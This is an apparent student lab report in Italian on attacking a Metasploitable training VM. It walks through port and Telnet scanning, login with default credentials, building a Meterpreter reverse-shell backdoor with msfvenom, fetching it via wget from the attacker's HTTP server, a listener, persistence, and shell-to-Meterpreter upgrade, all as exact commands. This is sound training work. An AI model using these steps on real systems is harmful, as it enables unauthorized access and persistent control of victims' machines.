Consegna S7/L2

U2

Marco Falchi

Hacking con Metasploit

Obiettivo

L'obiettivo di questa esercitazione è stato esplorare e applicare tecniche di **ethical hacking** utilizzando **Metasploit Framework** per:

1. Identificare e analizzare il servizio **Telnet** tramite il modulo telnet_version.
2. Creare una **backdoor personalizzata** con **msfvenom**, compatibile con l'architettura a 32-bit, e trasferirla sul target per ottenere una sessione shell e in maniera opzionale, renderla **persistente**.

---

1. Analisi del servizio Telnet con Metasploit

Strumenti utilizzati

- **Metasploit Framework (msf6)**
- **Kali Linux**
- **Metasploitable** (target)
- **Nmap** per la scansione delle porte

Procedura

1. **Scansione delle porte aperte**: Utilizzando **Nmap**, abbiamo individuato che il servizio **Telnet** è attivo sulla porta **23** del target:

   nmap -p 23 192.168.50.3

   o anche nmap -T5 -sV -p 192.168.50.3 (se non conosciamo le porte aperte)

Questo passaggio è fondamentale per identificare servizi potenzialmente vulnerabili.

2. **Identificazione della versione Telnet**: Abbiamo utilizzato il modulo **auxiliary/scanner/telnet/telnet_version** di Metasploit per identificare la versione del servizio Telnet esposto:

   msfconsole

use auxiliary/scanner/telnet/telnet_version

set RHOSTS 192.168.50.3

run

Questo modulo ci ha fornito informazioni dettagliate sulla versione del servizio Telnet, permettendoci di pianificare eventuali attacchi successivi.

3. **Accesso alla shell Telnet**: Utilizzando le credenziali di default del servizio Metasploitable (ad esempio msfadmin:msfadmin), abbiamo ottenuto una **shell interattiva** sul target.

---

2. Creazione e utilizzo della backdoor

Strumenti utilizzati

- **msfvenom**: Generazione del payload
- **Metasploit Framework**: Configurazione del listener
- **Python HTTP Server**: Trasferimento del file
- **wget**: Download sul target

Creazione della backdoor

Abbiamo scelto di utilizzare **msfvenom** per creare un payload **reverse shell**. La scelta è ricaduta su **linux/x86/meterpreter_reverse_tcp** per i seguenti motivi:

1. **Compatibilità**: Metasploitable gira su architettura a **32-bit** (x86), rendendo necessario generare un payload adatto.
2. **Meterpreter**: Consente un controllo avanzato della macchina target, offrendo più funzionalità rispetto a una semplice shell interattiva.

Il comando utilizzato per generare la backdoor è stato:

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.50.2 LPORT=4444 -f elf -o backdoor_ftp.elf

- **msfvenom**: L'utility principale per generare payload, encoder, e altre risorse. È la combinazione di msfpayload e msfencode.

- **-p linux/x86/meterpreter_reverse_tcp**: Specifica il payload da utilizzare. In questo caso, il payload è:

  linux/x86: Il sistema operativo e l'architettura di destinazione (Linux 32-bit).

  meterpreter_reverse_tcp: Il tipo di payload. **Meterpreter** è un payload avanzato che fornisce una shell interattiva con molte funzionalità. **reverse_tcp** indica che il payload tenterà di connettersi all'indirizzo e alla porta specificati, creando una connessione "al contrario" per eludere i firewall in uscita.

- **LHOST=192.168.50.2**: **LHOST** (Local Host) è l'indirizzo IP del computer dell'attaccante che riceverà la connessione. In questo caso, è **192.168.50.2**. L'attaccante dovrà impostare un "listener" (come un multi-handler di Metasploit) su questo indirizzo per catturare la sessione.
- **LPORT=4444**: **LPORT** (Local Port) è la porta su cui il listener dell'attaccante sarà in ascolto. In questo caso, è la porta **4444**.
- **-f elf**: Specifica il formato del file di output. **ELF** (Executable and Linkable Format) è il formato standard per i file eseguibili e object su sistemi Unix/Linux.
- **-o backdoor_ftp.elf**: Specifica il nome del file di output. Il file generato si chiamerà **backdoor_ftp.elf**. Il nome è scelto dall'utente e spesso viene usato per ingannare la vittima, facendole pensare che sia un file legittimo (ad es., un'applicazione FTP).

Trasferimento della backdoor

Per trasferire il file sul target, abbiamo usato un server HTTP semplice su Kali e **wget** su Metasploitable:

1. **Avvio del server HTTP su Kali**:

   python3 -m http.server 8080

2. **Download del file sul target**:

   cd /tmp

   wget http://192.168.50.2:8080/backdoor_ftp.elf

Esecuzione della backdoor

Dopo aver trasferito la backdoor sul target, abbiamo eseguito i seguenti passaggi:

1. **Permessi di esecuzione**:

chmod +x backdoor_ftp.elf

2. **Avvio della backdoor**:

./backdoor_ftp.elf

Configurazione del listener su Metasploit

Per ricevere la connessione inversa generata dalla backdoor, abbiamo configurato il listener con **multi/handler**:

msfconsole

use exploit/multi/handler

set payload linux/x86/meterpreter_reverse_tcp

set LHOST 192.168.50.2

set LPORT 4444

exploit

Risultato: Sessione Meterpreter

La backdoor ha stabilito con successo una connessione con la nostra macchina Kali, fornendoci una **sessione Meterpreter**.

Da qui ho potuto:

- Navigare nel filesystem (**ls**, **cd**)
- Caricare e scaricare file (**upload**, **download**)
- Ottenere informazioni dettagliate sul sistema (**sysinfo**)
- Eseguire comandi avanzati direttamente sul target

Persistenza (facoltativa)

Per rendere la backdoor persistente sul target, abbiamo utilizzato il modulo **persistence** di Meterpreter:

run persistence -X -i 5 -p 4444 -r 192.168.50.2

- **-X**: Installa come servizio di sistema.
- **-i**: Intervallo di riconnessione (ogni 5 secondi).
- **LPORT e LHOST**: Configurazione del listener.

EXTRA AGGIUNTO DOPO DAL PROF

Autenticazione e Creazione della Sessione

Passaggi:

1) Ho fatto accesso ad un nuovo modulo con il comando

use auxiliary/scanner/telnet/telnet_login

2) Vediamo poi le opzioni tramite il comando

show options

3) Tramite lo show option notiamo le cose da settare mancanti che in questo caso sono:

- **Set RHOSTS 192.168.50.2**
- **Set STOP ON_SUCCESS true**
- **Set USERNAME msfadmin**
- **Set PASSWORD msfadmin**
- **run**

4) Tramite il comando **sessions -l** ho poi visto le sessioni attive
5) Tramite il comando **sessions -i 1** ho poi interagito con la sessione appena creata che ho successivamente messo in background con **CTRL+Z** e confermando con **Y**
6) Ho aperto un nuovo modulo con il comando

use post/multi/manage/shell_to_meterpreter

7) ho guardo le option di questo con **show option**
8) ho poi fatto l'upgrade di questa sessione con **set session 1** prendendo la shell della session 1
9) poi ho runnato con il comando **run**

vedremo che verra' aperta una nuova sessione con le basi della session 1 avendo quindi una seconda versione "migliorata"

10) ho controllato che tutto fosse corretto con il comando **session -i 2** e successivamente **whoami** mostrandoci che eravamo detto meterpreter

Conclusione

Questa esercitazione ha dimostrato come:

1. Identificare la versione di un servizio vulnerabile utilizzando **Metasploit**.
2. Creare una **backdoor personalizzata** compatibile con l'architettura della macchina target.
3. Stabilire una **sessione Meterpreter** per eseguire operazioni avanzate di post-exploitation.

La simulazione è un esempio concreto di **analisi, sfruttamento e consolidamento** dell'accesso a un sistema compromesso, evidenziando l'importanza di proteggere i servizi esposti.